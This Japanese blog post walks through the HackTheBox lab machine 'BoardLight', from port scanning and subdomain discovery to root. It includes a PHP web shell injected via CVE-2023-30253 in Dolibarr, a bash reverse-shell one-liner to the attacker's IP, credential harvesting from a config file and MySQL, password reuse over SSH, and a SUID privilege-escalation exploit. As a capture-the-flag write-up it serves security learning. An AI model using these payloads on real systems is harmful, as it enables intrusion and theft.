1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

今回は、HackTheBoxのEasyマシン「BoardLight」のWriteUpです!

image.png

評価は高く、グラフもかなり簡単そうな感じですね。
サクッと攻略目指して頑張ります!

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

BoardLight

列挙

それでは攻略を開始していきましょう!
まずはポートスキャンから実行していきます。

+[~/boardlight]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sSVC -p- --min-rate=1000 10.10.11.11 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesnt have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

80番がオープンしています。ブラウザでアクセスしてみましょう。

image.png

サイバーセキュリティコンサル会社のホームページのようなサイトが表示されました。
サイトの中部を見てみると、「WordPress」が使用されていることがわかります。

image.png

wp-scanを実行してみましたが...

+[~/boardlight]
(σ▰>∇<)σ<10.10.14.8>$ wpscan --url http://10.10.11.11 --enumerate
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` |  _ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

Scan Aborted: The remote website is up, but does not seem to be running WordPress.

「WordPress」は動作していないといわれてしまいました。
その他、いろいろと列挙しましたが気になる遷移やディレクトリもなかったので、サブドメインを列挙することにしました。ちなみに今回のターゲットのドメインはサイトの一番下に書かれています。

image.png

では、ffufを実行し、サブドメインを列挙しましょう。

+[~/boardlight]
(σ▰>∇<)σ<10.10.14.8>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://board.htb -H "HOST: FUZZ.board.htb" -fs 15949

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://board.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.board.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 15949
________________________________________________

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 176ms]

crmというサブドメインを発見しました。hostsファイルに追記し、ブラウザでアクセスしてみましょう。

image.png

ログイン画面が表示されました

CVE-2023-30253

ログイン画面を見てみると、「Dolibarr 17.0.0」のようにバージョンが書かれています。脆弱性がないか検索すると以下の記事を発見しました。

どうやら「Dolibarr 17.0.0」には認証済みのRCEが存在するようです。ただ認証に成功している必要があるので、認証情報に対する情報がないかを調べてみると、以下の記事も発見しました。

記事によると「admin / admin」や「admin / changeme」などがデフォルトの認証情報として使用されているようです。実際にログインできないか試してみましょう。

image.png

「admin / admin」でログインに成功しました!
これで認証済みになったので、CVE-2023-30253を悪用できそうです。
CVE-2023-30253のPoCを調べてみましたが、マシンのリリース前に公開されたようなコードは見つかりません。なので、手動で実行することにしました。参考にしたのは以下の記事です。

記事によるとRCEが発火する原因は、<?PHPをPHPタグとして認識してしまうことにあるみたいです。「Dolibarr」は、WEBサイトを作成することができるので、おそらくそのソースコード内に<?PHPを使用したWEBシェルが作成できそうです。試してみましょう。

まずは、WEBサイトを作成します。

image.png

今回は0xshという名前を付けました。
「CREATE」を押下し、サイトの作成ができたらページを作成します。

image.png

この段階では、まだソースコードはいじれないので「Title」と「Page name/alias」に適当にtestと入力し、「CREATE」を押下します。

image.png

ページまで作成できたら、いよいよソースコードを編集していきます。ページ部分にある「Edit HTML Source」を押下しましょう。

image.png

ソースコード編集画面が表示されるので、<?PHP system($_GET['cmd']); ?>といういつものコードを追記し、「SAVE」を押下します。

www-data としてのシェル

ソースコードの保存ができたら実際にアクセスしていきましょう。ページ部分の一番右に双眼鏡?のようなアイコンがあると思います。そちらをクリックしてみましょう。

image.png

実際に作成したページへアクセスできました。現状では何も書いていないので何も表示されません。
では、&cmd=idを追加し、再度アクセスしてみましょう。

image.png

idコマンドの実行結果が出力されました!
あとは、シェルを取得するだけです。まず待ち受けを作成します。

+[~/boardlight]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121               
listening on [any] 2121 ...

あとはいつものペイロードbash -c 'bash -i >& /dev/tcp/10.10.14.8/2121 0>&1'&cmd=の後に指定し、実行しましょう。

+[~/boardlight]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121               
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.11] 47900
bash: cannot set terminal process group (856): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ whoami
whoami
www-data

シェルの取得に成功しました!

横移動

それでは、続いて横移動を目指していきましょう。
/homeディレクトリを確認して、どのようなユーザがいるかを確認しておきます。

www-data@boardlight:/home$ ls -l
total 4
drwxr-x--- 15 larissa larissa 4096 May 17 01:04 larissa

larissaユーザが存在しています。とりあえずこのユーザになることが目標ですね。
では、どのような列挙を行うかですが、WEBから侵入したのでWEBルートを確認します。

www-data@boardlight:~/html/crm.board.htb$ ls -l
total 612
-rw-r--r--  1 www-data www-data  35151 Mar  4  2023 COPYING
-rw-r--r--  1 www-data www-data   6929 Mar  4  2023 COPYRIGHT
-rw-r--r--  1 www-data www-data 508715 Mar  4  2023 ChangeLog
-rw-r--r--  1 www-data www-data   1366 Mar  4  2023 DCO
-rw-r--r--  1 www-data www-data   8016 Mar  4  2023 README-FR.md
-rw-r--r--  1 www-data www-data  10282 Mar  4  2023 README.md
-rw-r--r--  1 www-data www-data   6605 Mar  4  2023 SECURITY.md
-rw-r--r--  1 www-data www-data   1911 Mar  4  2023 composer.json.disabled
drwxr-xr-x 11 www-data www-data   4096 May 13 13:23 documents
drwxr-xr-x 79 www-data www-data   4096 Mar  4  2023 htdocs
-rw-r--r--  1 www-data www-data    741 Mar  4  2023 nightwatch.conf.js
-rw-r--r--  1 www-data www-data  11965 Mar  4  2023 phpstan.neon
-rw-r--r--  1 www-data www-data     95 Mar  4  2023 robots.txt
drwxr-xr-x 16 www-data www-data   4096 Mar  4  2023 scripts

結構な量のファイルとフォルダがありそうです。WEBルート配下で一番気になるものは設定ファイルなので、設定ファイルが存在しそうなフォルダを掘っていくことにしました。

MySQL Password

なんとなく怪しいものから探っていると、./htdocs/conf配下で設定ファイルらしきファイルを発見しました。

www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ ls -l
total 44
-rw-r--r-- 1 www-data www-data  1736 May 17 00:18 conf.php
-rw-r--r-- 1 www-data www-data 16394 Mar  4  2023 conf.php.example
-r-------- 1 www-data www-data 16394 May 13 13:20 conf.php.old

conf.phpを見てみましょう。

www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
...

MySQLへのログイン情報を取得できました!
それでは、取得した認証情報で、DBへアクセスしてみましょう。

www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ mysql -u dolibarrowner -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 318
Server version: 8.0.36-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

ログインに成功しました。データベースを確認しましょう。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| dolibarr           |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)

dolibarrというデータベースが存在しています。こちらを指定し、テーブルを列挙しましょう。

mysql> use dolibarr
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------------------------------------------------+
| Tables_in_dolibarr                                          |
+-------------------------------------------------------------+
| llx_accounting_account                                      |
| llx_accounting_bookkeeping                                  |
| llx_accounting_bookkeeping_tmp                              |
| llx_accounting_fiscalyear                                   |
| llx_accounting_groups_account                               |
| llx_accounting_journal                                      |
...
| llx_takepos_floor_tables                                    |
| llx_tva                                                     |
| llx_user                                                    |
| llx_user_alert                                              |
| llx_user_clicktodial                                        |
| llx_user_employment                                         |
...
307 rows in set (0.00 sec)

多くのテーブルが出力されました。最も気になるのはllx_userというテーブルです。
ユーザの認証情報が保存されていそうなので、select文を実行しましょう。

mysql> select * from llx_user;
+-------+--------+--------------+---------+-------+----------+------------------+---------------------+---------------------+---------------+---------------+----------+---------------+------+--------------------------------------------------------------+-----------+--------------+--------+----------+------------+-----------+---------+------+------+----------+------------+-------+-------------+------+--------------+------------+-------------+-----------------+-------+----------------+-----------+----------------+--------+--------------+-----------+---------+---------------------------+---------------------------+---------+---------+---------+-------------+--------------+-----------+---------------------+---------------------+------------------------+-------------------+-----------------+-------------+-----------------+---------------+----------+--------+--------+-------+------+-------+---------+-----------------+------------------+------------+------+------+--------+-------------+----------------+-------------------+-------------+------------+---------------+-----------------------+------------------------------+--------------+
| rowid | entity | ref_employee | ref_ext | admin | employee | fk_establishment | datec               | tms                 | fk_user_creat | fk_user_modif | login    | pass_encoding | pass | pass_crypted                                                 | pass_temp | api_key      | gender | civility | lastname   | firstname | address | zip  | town | fk_state | fk_country | birth | birth_place | job  | office_phone | office_fax | user_mobile | personal_mobile | email | personal_email | signature | socialnetworks | fk_soc | fk_socpeople | fk_member | fk_user | fk_user_expense_validator | fk_user_holiday_validator | idpers1 | idpers2 | idpers3 | note_public | note_private | model_pdf | datelastlogin       | datepreviouslogin   | datelastpassvalidation | datestartvalidity | dateendvalidity | iplastlogin | ippreviouslogin | egroupware_id | ldap_sid | openid | statut | photo | lang | color | barcode | fk_barcode_type | accountancy_code | nb_holiday | thm  | tjm  | salary | salaryextra | dateemployment | dateemploymentend | weeklyhours | import_key | default_range | default_c_exp_tax_cat | national_registration_number | fk_warehouse |
+-------+--------+--------------+---------+-------+----------+------------------+---------------------+---------------------+---------------+---------------+----------+---------------+------+--------------------------------------------------------------+-----------+--------------+--------+----------+------------+-----------+---------+------+------+----------+------------+-------+-------------+------+--------------+------------+-------------+-----------------+-------+----------------+-----------+----------------+--------+--------------+-----------+---------+---------------------------+---------------------------+---------+---------+---------+-------------+--------------+-----------+---------------------+---------------------+------------------------+-------------------+-----------------+-------------+-----------------+---------------+----------+--------+--------+-------+------+-------+---------+-----------------+------------------+------------+------+------+--------+-------------+----------------+-------------------+-------------+------------+---------------+-----------------------+------------------------------+--------------+
|     1 |      0 |              | NULL    |     1 |        1 |                0 | 2024-05-13 13:21:56 | 2024-05-13 13:21:56 |          NULL |          NULL | dolibarr | NULL          | NULL | $2y$10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm | NULL      | NULL         |        |          | SuperAdmin |           |         |      |      |     NULL |       NULL | NULL  | NULL        |      |              |            |             |                 |       |                |           | null           |   NULL |         NULL |      NULL |    NULL |                      NULL |                      NULL | NULL    | NULL    | NULL    |             |              | NULL      | 2024-05-15 09:57:04 | 2024-05-13 23:23:59 | NULL                   | NULL              | NULL            | 10.10.14.31 | 10.10.14.41     |          NULL |          | NULL   |      1 | NULL  | NULL |       | NULL    |               0 |                  |          0 | NULL | NULL |   NULL |        NULL | NULL           | NULL              |        NULL | NULL       |          NULL |                  NULL |                              |         NULL |
|     2 |      1 |              | NULL    |     0 |        1 |                0 | 2024-05-13 13:24:01 | 2024-05-15 09:58:40 |          NULL |          NULL | admin    | NULL          | NULL | $2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96 | NULL      | yr6V3pXd9QEI | NULL   |          | admin      |           |         |      |      |     NULL |       NULL | NULL  | NULL        |      |              |            |             |                 |       |                |           | []             |   NULL |         NULL |      NULL |    NULL |                      NULL |                      NULL | NULL    | NULL    | NULL    |             |              | NULL      | 2024-05-31 06:12:11 | 2024-05-17 00:19:27 | NULL                   | NULL              | NULL            | 10.10.14.8  | 10.10.14.41     |          NULL |          | NULL   |      1 | NULL  | NULL |       | NULL    |               0 |                  |          0 | NULL | NULL |   NULL |        NULL | NULL           | NULL              |        NULL | NULL       |          NULL |                  NULL |                              |         NULL |
+-------+--------+--------------+---------+-------+----------+------------------+---------------------+---------------------+---------------+---------------+----------+---------------+------+--------------------------------------------------------------+-----------+--------------+--------+----------+------------+-----------+---------+------+------+----------+------------+-------+-------------+------+--------------+------------+-------------+-----------------+-------+----------------+-----------+----------------+--------+--------------+-----------+---------+---------------------------+---------------------------+---------+---------+---------+-------------+--------------+-----------+---------------------+---------------------+------------------------+-------------------+-----------------+-------------+-----------------+---------------+----------+--------+--------+-------+------+-------+---------+-----------------+------------------+------------+------+------+--------+-------------+----------------+-------------------+-------------+------------+---------------+-----------------------+------------------------------+--------------+

dolibarrユーザのハッシュを取得することができました。
解読できないか試してみましたが、解読することはできませんでした。

lariss としてのシェル

ハッシュが解読できないことにより、MySQLからは何も情報を得ることはできませんでした。MySQLのパスワードを使用して行えるアプローチは、パスワードが使いまわされていることを想定し、larissaユーザでアクセスしてみることです。
ダメ元で試してみます。

+[~/boardlight]
(σ▰>∇<)σ<10.10.14.8>$ ssh larissa@10.10.11.11                            
larissa@10.10.11.11s password: 

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

larissa@boardlight:~$ whoami
larissa

!!ログインできました!

larissa@boardlight:~$ ls -l
total 36
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Desktop
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Documents
drwxr-xr-x 3 larissa larissa 4096 May 17 01:04 Downloads
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Music
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Pictures
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Public
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Templates
-rw-r----- 1 root    larissa   33 May 30 19:37 user.txt
drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Videos

ユーザフラグも取得できました!

権限昇格

それでは、ここから権限昇格を目指していきましょう。
まずは、sudo -lから実行していきます。

larissa@boardlight:~$ sudo -l
[sudo] password for larissa: 
Sorry, user larissa may not run sudo on localhost.

larissaユーザではsudoは実行できないようです。
続いて、SUIDも調査してみます。

larissa@boardlight:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper

いくつか見慣れないバイナリを発見しました。

CVE-2022-37706

enlightenmentに関するバイナリにSUIDが付与されているようです。権限昇格につながる脆弱性がないかを調べてみると、以下の記事を発見しました。

まさに求めていた情報でした。
SUIDが付与されたenlightenmentは権限昇格が可能なようです。
GitHub上にはエクスプロイトコードが提供されています。実行するためにコードをターゲット側へ送信します。

+[~/boardlight/CVE-2022-37706-LPE-exploit]
(σ▰>∇<)σ<10.10.14.8>$ scp ./exploit.sh larissa@10.10.11.11:/tmp/exploit.sh
larissa@10.10.11.11's password: 
exploit.sh    

コードの送信が成功しました。

root としてのシェル

それでは、実行していきますが、実行権限を忘れずに付与しておきます。

larissa@boardlight:/tmp$ chmod +x exploit.sh

これで準備完了です!コードを実行し権限を昇格させましょう。

larissa@boardlight:/tmp$ ./exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: cant find in /etc/fstab.
# whoami
root

ルートへの昇格に成功しました!

# ls -l
total 8
-rw-r----- 1 root root   33 May 30 19:37 root.txt
drwxr-xr-x 3 root root 4096 Sep 17  2023 snap

ルートフラグも取得し、完全攻略達成です!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?